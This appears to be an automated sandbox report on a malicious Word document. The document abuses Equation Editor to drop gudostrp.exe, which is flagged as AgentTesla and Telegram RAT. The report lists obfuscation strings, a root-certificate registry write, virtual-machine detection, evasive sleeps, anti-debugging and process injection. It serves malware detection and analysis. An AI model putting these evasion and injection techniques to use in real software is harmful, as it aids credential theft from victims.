Source: gudostrp.exe, 00000004.00000002.462296022.00000000001D2000.00000020.00020000.sdmp String found in binary or memory: kIHasFieldMarshalReplaceInternalJoinInternalSet_IsLiteralAppCompatLiteralGet_IsInternalCalladvapi32.dllkernel32.dllKillEcmaPublicKeyFullSet_PercentSymbolChangeAccessControlBlobStreamInternalLoadFromStreamCryptoStreamMemoryStreamSystemSymmetricAlgorithmHashAlgorithmFormICryptoTransformGet_InGet_IsAddOnTanConvertHijriToGregorianStrLenget_MetadataTokenResolveTokenAssignCancellationTokenlpNumberOfBytesWrittenEndStrongNameSignBeginStrongNameSignSinAppDomainget_CurrentDomainGet_EndColumnGet_RevisionApplicationget_LocationOp_UnaryNegationNineRays.Obfuscator.EvaluationNoOptimizationSystem.ReflectionGetBaseDefinitionGenericParameterPositionCallingConventionRuntimeWrappedExceptionEncoderFallbackExceptionRunGetDynamicILInfoRslvMethodFieldInfoEhEndFinallyFieldInfoMethodInfo_compareInfoMemberInfoParameterInfoDelegateCtorInfoZeroGet_IsCharSetAutoAlignUpGetInterfaceMapInitializeEventMapGet_BlobHeapTablesHeapSleepSystem.Linqset_ShowInTaskbarGet_DefaultCalendarFirstGregorianTableYearMoveRightGetCharGet_CurrentCharGet_ParamNumberGet_ManagedNativeHeaderWriteTinyHeaderGetBlobReaderSyncTextReaderDESCryptoServiceProviderMethodBuilderModuleBuilderTypeBuilderAssemblyBuilderM_lastBlockBufferlpBufferResourceManagerDebuggerSet_IsOtherget_IsModifierWSTRBufferMarshalerAddOneArgTypeHelperCheckHelperCreateAttributeArrayHelperCreateProcessAsUserget_IsPointerBitConverterResolverModuleDirGetTokenForFloorSetLastErrorIEnumeratorInitializeTypeEnumeratorGetEnumerator.ctorLoadFactor.cctordotNetProtectorget_IsConstructorCreateDecryptorFromIntPtrBuildRevisionStr/
Source: gudostrp.exe String found in binary or memory: dotNetProtector
Source: gudostrp.exe, 00000005.00000002.721799916.00000000001D2000.00000020.00020000.sdmp String found in binary or memory: kIHasFieldMarshalReplaceInternalJoinInternalSet_IsLiteralAppCompatLiteralGet_IsInternalCalladvapi32.dllkernel32.dllKillEcmaPublicKeyFullSet_PercentSymbolChangeAccessControlBlobStreamInternalLoadFromStreamCryptoStreamMemoryStreamSystemSymmetricAlgorithmHashAlgorithmFormICryptoTransformGet_InGet_IsAddOnTanConvertHijriToGregorianStrLenget_MetadataTokenResolveTokenAssignCancellationTokenlpNumberOfBytesWrittenEndStrongNameSignBeginStrongNameSignSinAppDomainget_CurrentDomainGet_EndColumnGet_RevisionApplicationget_LocationOp_UnaryNegationNineRays.Obfuscator.EvaluationNoOptimizationSystem.ReflectionGetBaseDefinitionGenericParameterPositionCallingConventionRuntimeWrappedExceptionEncoderFallbackExceptionRunGetDynamicILInfoRslvMethodFieldInfoEhEndFinallyFieldInfoMethodInfo_compareInfoMemberInfoParameterInfoDelegateCtorInfoZeroGet_IsCharSetAutoAlignUpGetInterfaceMapInitializeEventMapGet_BlobHeapTablesHeapSleepSystem.Linqset_ShowInTaskbarGet_DefaultCalendarFirstGregorianTableYearMoveRightGetCharGet_CurrentCharGet_ParamNumberGet_ManagedNativeHeaderWriteTinyHeaderGetBlobReaderSyncTextReaderDESCryptoServiceProviderMethodBuilderModuleBuilderTypeBuilderAssemblyBuilderM_lastBlockBufferlpBufferResourceManagerDebuggerSet_IsOtherget_IsModifierWSTRBufferMarshalerAddOneArgTypeHelperCheckHelperCreateAttributeArrayHelperCreateProcessAsUserget_IsPointerBitConverterResolverModuleDirGetTokenForFloorSetLastErrorIEnumeratorInitializeTypeEnumeratorGetEnumerator.ctorLoadFactor.cctordotNetProtectorget_IsConstructorCreateDecryptorFromIntPtrBuildRevisionStr/
Source: gufoxqa[1].exe.2.dr String found in binary or memory: dotNetProtector
Source: gufoxqa[1].exe.2.dr String found in binary or memory: kIHasFieldMarshalReplaceInternalJoinInternalSet_IsLiteralAppCompatLiteralGet_IsInternalCalladvapi32.dllkernel32.dllKillEcmaPublicKeyFullSet_PercentSymbolChangeAccessControlBlobStreamInternalLoadFromStreamCryptoStreamMemoryStreamSystemSymmetricAlgorithmHashAlgorithmFormICryptoTransformGet_InGet_IsAddOnTanConvertHijriToGregorianStrLenget_MetadataTokenResolveTokenAssignCancellationTokenlpNumberOfBytesWrittenEndStrongNameSignBeginStrongNameSignSinAppDomainget_CurrentDomainGet_EndColumnGet_RevisionApplicationget_LocationOp_UnaryNegationNineRays.Obfuscator.EvaluationNoOptimizationSystem.ReflectionGetBaseDefinitionGenericParameterPositionCallingConventionRuntimeWrappedExceptionEncoderFallbackExceptionRunGetDynamicILInfoRslvMethodFieldInfoEhEndFinallyFieldInfoMethodInfo_compareInfoMemberInfoParameterInfoDelegateCtorInfoZeroGet_IsCharSetAutoAlignUpGetInterfaceMapInitializeEventMapGet_BlobHeapTablesHeapSleepSystem.Linqset_ShowInTaskbarGet_DefaultCalendarFirstGregorianTableYearMoveRightGetCharGet_CurrentCharGet_ParamNumberGet_ManagedNativeHeaderWriteTinyHeaderGetBlobReaderSyncTextReaderDESCryptoServiceProviderMethodBuilderModuleBuilderTypeBuilderAssemblyBuilderM_lastBlockBufferlpBufferResourceManagerDebuggerSet_IsOtherget_IsModifierWSTRBufferMarshalerAddOneArgTypeHelperCheckHelperCreateAttributeArrayHelperCreateProcessAsUserget_IsPointerBitConverterResolverModuleDirGetTokenForFloorSetLastErrorIEnumeratorInitializeTypeEnumeratorGetEnumerator.ctorLoadFactor.cctordotNetProtectorget_IsConstructorCreateDecryptorFromIntPtrBuildRevisionStr/
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 4_2_001DEB0F push esp; iretd 4_2_001DEF9A
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 4_2_001D67F6 pushfd ; iretd 4_2_001D67FB
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 4_2_0030DE0D pushfd ; iretd 4_2_0030DE1E
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 4_2_0030DB73 push esp; iretd 4_2_0030DB95
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 4_2_01FA5275 push ebx; iretd 4_2_01FA5276
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 4_2_01FB4FE7 push ebx; ret 4_2_01FB501A
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 4_2_01FB504D push ebp; retf 4_2_01FB504E
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 4_2_01FB4FBE push ebx; ret 4_2_01FB501A
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 4_2_01FBA412 pushad ; retf 4_2_01FBA41E
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 4_2_01FCB713 pushad ; iretd 4_2_01FCB723
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 4_2_02035645 pushad ; ret 4_2_02035655
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 4_2_041D561B push eax; retf 4_2_041D5626
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 4_2_041D7CC7 push ebx; ret 4_2_041D7CCA
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 4_2_041D5901 pushad ; ret 4_2_041D5902
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 5_2_001DEB0F push esp; iretd 5_2_001DEF9A
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 5_2_001D67F6 pushfd ; iretd 5_2_001D67FB
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 5_2_002530B5 push esp; retf 0012h 5_2_00253105
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 5_2_00251B15 push esp; retf 0012h 5_2_00251B69
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 5_2_0055626C pushfd ; retf 0018h 5_2_0055626D

Persistence and Installation Behavior:

barindex
Drops PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\gudostrp.exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\gufoxqa[1].exe Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

barindex
Stores large binary data to the registry
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Source: C:\Users\user\AppData\Roaming\gudostrp.exe WMI Queries: IWbemServices::CreateInstanceEnum - Win32_NetworkAdapterConfiguration
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Users\user\AppData\Roaming\gudostrp.exe WMI Queries: IWbemServices::CreateInstanceEnum - Win32_BaseBoard
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 408 Thread sleep time: -300000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe TID: 2916 Thread sleep time: -360000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe TID: 2364 Thread sleep time: -3689348814741908s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe TID: 2364 Thread sleep time: -150000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe TID: 2096 Thread sleep count: 9569 > 30 Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe TID: 2096 Thread sleep count: 171 > 30 Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe TID: 2364 Thread sleep count: 105 > 30 Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Last function: Thread delayed
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Window / User API: threadDelayed 9569 Jump to behavior
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Users\user\AppData\Roaming\gudostrp.exe WMI Queries: IWbemServices::CreateInstanceEnum - Win32_Processor
Source: C:\Users\user\AppData\Roaming\gudostrp.exe WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\gudostrp.exe WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Thread delayed: delay time: 30000 Jump to behavior

Anti Debugging:

barindex
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Code function: 4_2_041DCAE8 CheckRemoteDebuggerPresent, 4_2_041DCAE8
Enables debug privileges
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process token adjusted: Debug Jump to behavior
Checks if the current process is being debugged
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

barindex
Injects a PE file into a foreign processes
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Memory written: C:\Users\user\AppData\Roaming\gudostrp.exe base: 400000 value starts with: 4D5A Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\gudostrp.exe C:\Users\user\AppData\Roaming\gudostrp.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Process created: C:\Users\user\AppData\Roaming\gudostrp.exe C:\Users\user\AppData\Roaming\gudostrp.exe Jump to behavior
Source: gudostrp.exe, 00000005.00000002.722211246.0000000000CD0000.00000002.00020000.sdmp Binary or memory string: Shell_TrayWnd
Source: gudostrp.exe, 00000005.00000002.722211246.0000000000CD0000.00000002.00020000.sdmp Binary or memory string: !Progman
Source: gudostrp.exe, 00000005.00000002.722211246.0000000000CD0000.00000002.00020000.sdmp Binary or memory string: Program Manager<

Language, Device and Operating System Detection:

barindex
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Queries volume information: C:\Users\user\AppData\Roaming\gudostrp.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Queries volume information: C:\Users\user\AppData\Roaming\gudostrp.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\gudostrp.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information:

barindex
Yara detected Telegram RAT
Source: Yara match File source: 00000005.00000002.722261474.00000000022B1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: gudostrp.exe PID: 2576, type: MEMORYSTR
Yara detected AgentTesla
Source: Yara match File source: 5.2.gudostrp.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.gudostrp.exe.31ca110.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.gudostrp.exe.3200330.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.gudostrp.exe.3200330.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.gudostrp.exe.31ca110.2.raw.unpack, type: UNPACKEDPE
